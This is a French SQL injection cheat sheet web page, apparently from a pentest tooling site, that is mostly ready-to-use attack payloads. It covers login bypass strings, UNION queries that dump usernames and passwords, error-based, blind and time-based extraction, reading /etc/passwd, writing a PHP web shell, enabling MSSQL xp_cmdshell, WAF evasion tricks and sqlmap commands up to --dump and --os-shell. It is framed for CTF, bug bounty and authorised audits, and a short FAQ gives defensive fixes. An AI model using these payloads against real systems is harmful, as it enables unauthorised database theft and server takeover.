Injection SQL — Cheatsheet 2026

Tous les payloads SQLi dont vous avez besoin — contournement d'authentification, UNION, error-based, blind boolean et time-based — avec la syntaxe MySQL, MSSQL, PostgreSQL et Oracle, les astuces de bypass WAF et sqlmap. Pour CTF, bug bounty et audits web autorisés.

Dernière mise à jour :

Débutant ? Lisez notre guide complet pour débuter et situez l'injection web dans la méthodologie.

Navigation rapide

01 Détection 02 Bypass d'authentification 03 UNION-based 04 Error-based 05 Blind boolean 06 Time-based 07 Syntaxe par SGBD 08 RCE & accès fichiers 09 Bypass WAF 10 sqlmap

# Détection

Confirmez d'abord que le paramètre est injectable. Cassez la requête, puis prouvez le contrôle avec la logique booléenne.

'
Une apostrophe — une erreur SQL ou un 500 laisse deviner l'injection
' OR '1'='1
Toujours vrai — renvoie des lignes en plus/toutes si injectable
' AND '1'='2
Toujours faux — une réponse différente confirme le contrôle
1 OR 1=1 -- -
Contexte numérique (sans guillemets) avec un commentaire pour tuer le reste
1' ORDER BY 1-- - → ORDER BY 2, 3, ...
Incrémenter jusqu'à une erreur pour compter les colonnes
💡 Styles de commentaire : -- - (espace après !), # (MySQL), /* */ (inline). URL-encodez # en %23.

# Contournement d'authentification

Bypass de login classique — commentez la vérification du mot de passe ou forcez la clause WHERE à vrai.

admin' -- -
Se connecter en admin en commentant la vérification du mot de passe
admin' #
Même idée avec un commentaire MySQL
' OR 1=1 -- -
Forcer la clause WHERE à vrai → se connecter en tant que premier utilisateur
' OR '1'='1' -- -
Variante avec guillemets équilibrés
') OR ('1'='1' -- -
Quand l'entrée est entourée de parenthèses

# Injection UNION-based

Renvoyez vos propres données dans la réponse. Faites correspondre le nombre de colonnes, trouvez celles reflétées, puis extrayez.

' UNION SELECT NULL-- - → NULL,NULL-- - → ...
Ajouter des NULL jusqu'à ce qu'il n'y ait plus d'erreur pour matcher le nombre de colonnes
' UNION SELECT 1,2,3-- -
Utiliser des nombres pour voir quelles colonnes sont reflétées sur la page
' UNION SELECT NULL,version(),database()-- -
Fuiter la version et la base courante (MySQL/PostgreSQL)
' UNION SELECT table_name,NULL FROM information_schema.tables-- -
Énumérer les noms de tables
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
Énumérer les colonnes d'une table
' UNION SELECT username,password FROM users-- -
Extraire les identifiants
' UNION SELECT NULL,group_concat(username,0x3a,password) FROM users-- -
MySQL — regrouper plusieurs lignes dans un seul champ

# Injection error-based

Fuiter des données dans les messages d'erreur quand l'app affiche les erreurs SQL.

' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -
MySQL — fuite via erreur de fonction XML
' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
MySQL — autre extracteur error-based
' AND 1=CONVERT(int,(SELECT @@version))-- -
MSSQL — l'erreur de conversion de type fuite la version
' AND 1=CAST((SELECT current_database()) AS int)-- -
PostgreSQL — l'erreur de cast fuite le nom de la base

# Blind boolean-based

Aucune sortie ni erreur — inférez les données à partir des différences vrai/faux dans la réponse.

' AND 1=1-- - vs ' AND 1=2-- -
Baseline : la page change-t-elle entre vrai et faux ?
' AND (SELECT SUBSTRING(version(),1,1))='8'-- -
Tester la version du SGBD un caractère à la fois
' AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users LIMIT 1)>77-- -
Recherche dichotomique d'un caractère par sa valeur ASCII
' AND (SELECT COUNT(*) FROM users)>5-- -
Inférer le nombre de lignes

# Time-based aveugle

Aucune différence visible du tout — faites pauser le serveur quand une condition est vraie.

' AND SLEEP(5)-- -
MySQL — un délai de 5s confirme l'injection
' AND IF((SELECT ASCII(SUBSTRING(password,1,1)) FROM users LIMIT 1)>77,SLEEP(3),0)-- -
MySQL — délai conditionnel pour extraire un caractère
'; WAITFOR DELAY '0:0:5'-- -
MSSQL — délai temporel
' AND (SELECT pg_sleep(5))-- -
PostgreSQL — délai temporel
' AND 1=(SELECT 1 FROM (SELECT SLEEP(5))x)-- -
MySQL — forme en sous-requête quand SLEEP est filtré directement

# Syntaxe par SGBD

Les essentiels diffèrent selon le SGBD. Fingerprintez d'abord, puis utilisez les bonnes fonctions.

TâcheMySQLMSSQL / PostgreSQL
Versionversion()@@version / version()
Base courantedatabase()DB_NAME() / current_database()
Utilisateur courantuser()SYSTEM_USER / current_user
Concaténerconcat(a,b) / 0x3aa+b / a||b
Commentaire-- - ou #-- - ou /* */
SleepSLEEP(5)WAITFOR DELAY / pg_sleep(5)
SELECT schema_name FROM information_schema.schemata
Lister bases/schémas (MySQL, PostgreSQL, MSSQL)
SELECT name FROM master..sysdatabases
MSSQL — lister les bases

# RCE & accès fichiers

Passez du vol de données à la lecture de fichiers ou l'exécution de commandes quand la config de la base le permet.

' UNION SELECT LOAD_FILE('/etc/passwd')-- -
MySQL — lire un fichier (nécessite le privilège FILE)
' UNION SELECT '<?php system($_GET[c]);?>' INTO OUTFILE '/var/www/html/s.php'-- -
MySQL — écrire un web shell (nécessite FILE + chemin accessible en écriture)
'; EXEC xp_cmdshell 'whoami'-- -
MSSQL — exécution de commande si xp_cmdshell est activé
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE-- -
MSSQL — activer d'abord xp_cmdshell (nécessite sysadmin)

# Bypass WAF

Quand un WAF bloque les payloads évidents, obfusquez. Très dépendant du contexte — testez des combinaisons.

'/**/OR/**/1=1-- -
Commentaires inline à la place des espaces
' oR 1=1-- - / ' UnIoN SeLeCt ...
Casse mixte pour déjouer les filtres de mots-clés
%2527 / %2b / double-URL-encodage
Double encodage URL pour passer les décodeurs
UNIUNIONON SELSELECTECT
Mots-clés imbriqués — survit aux filtres qui suppriment une fois
' OR 1 LIKE 1-- - / ' OR 1 BETWEEN 0 AND 2-- -
Opérateurs alternatifs quand = est bloqué

# Automatisation sqlmap

Automatisez la détection et l'exploitation. Toujours contre des cibles autorisées uniquement.

sqlmap -u "http://site/page?id=1" --batch
Détecter et exploiter automatiquement un paramètre GET
sqlmap -r request.txt --batch
Utiliser une requête Burp sauvegardée (POST, cookies, en-têtes)
sqlmap -u URL --dbs
Lister les bases
sqlmap -u URL -D shopdb --tables
Lister les tables d'une base
sqlmap -u URL -D shopdb -T users --dump
Extraire le contenu d'une table
sqlmap -u URL --batch --level=5 --risk=3 --tamper=space2comment
Scan agressif avec un script tamper de bypass WAF
sqlmap -u URL --os-shell
Tenter un shell OS interactif via la base

❓ FAQ Injection SQL

Une vulnérabilité web où l'entrée utilisateur est concaténée dans une requête SQL sans assainissement, permettant à l'attaquant de la modifier — pour bypasser l'auth, lire/modifier des données ou parfois exécuter des commandes. Catégorie Injection de l'OWASP Top 10.

Injectez une apostrophe ' et guettez les erreurs. Confirmez avec ' OR '1'='1 vs ' AND '1'='2 — des réponses différentes = injectable. Pour les params numériques, 1 OR 1=1 sans guillemets. Uniquement en test autorisé.

In-band : UNION-based et error-based. Aveugle : boolean-based et time-based. Out-of-band : exfil via DNS/HTTP. À choisir selon le retour de l'app.

Ajoutez UNION SELECT pour renvoyer vos données dans la sortie. Trouvez le nombre de colonnes (ORDER BY n), repérez les colonnes reflétées, remplacez-les par des données (username/password/version()).

Quand il n'y a ni sortie ni erreur. Boolean-based lit les différences vrai/faux ; time-based utilise SLEEP()/WAITFOR. Les deux extraient les données caractère par caractère — au mieux avec sqlmap.

sqlmap -u 'URL' --batch, ou sqlmap -r request.txt pour POST/auth. Puis --dbs, -D db --tables, -D db -T users --dump. Cibles autorisées uniquement.

Commentaires inline (/**/), variation de casse, encodage URL/double-URL, mots-clés imbriqués, opérateurs alternatifs. Les scripts tamper de sqlmap (--tamper=space2comment) en automatisent beaucoup. Très dépendant du contexte.

Les requêtes paramétrées (préparées) sont la correction n°1 — l'entrée n'est jamais concaténée dans le SQL. Ajoutez des comptes de base à moindre privilège, une liste blanche des entrées, un ORM et un WAF en défense en profondeur. Jamais l'échappement seul.

📚 Ressources liées

Rapport de pentest assisté par IA

Transformez vos découvertes SQLi en rapport PDF professionnel. L'IA remplit CVE, CVSS et sévérité.

Essayer gratuitement →

Envie des 12 020+ commandes ?

Cette cheatsheet injection SQL n'est qu'une branche de la carte. Pentest Mindmap organise 12 020+ commandes en 34 catégories — de la recon à la post-exploitation — avec recherche instantanée et copie en un clic.

Commencer gratuitement →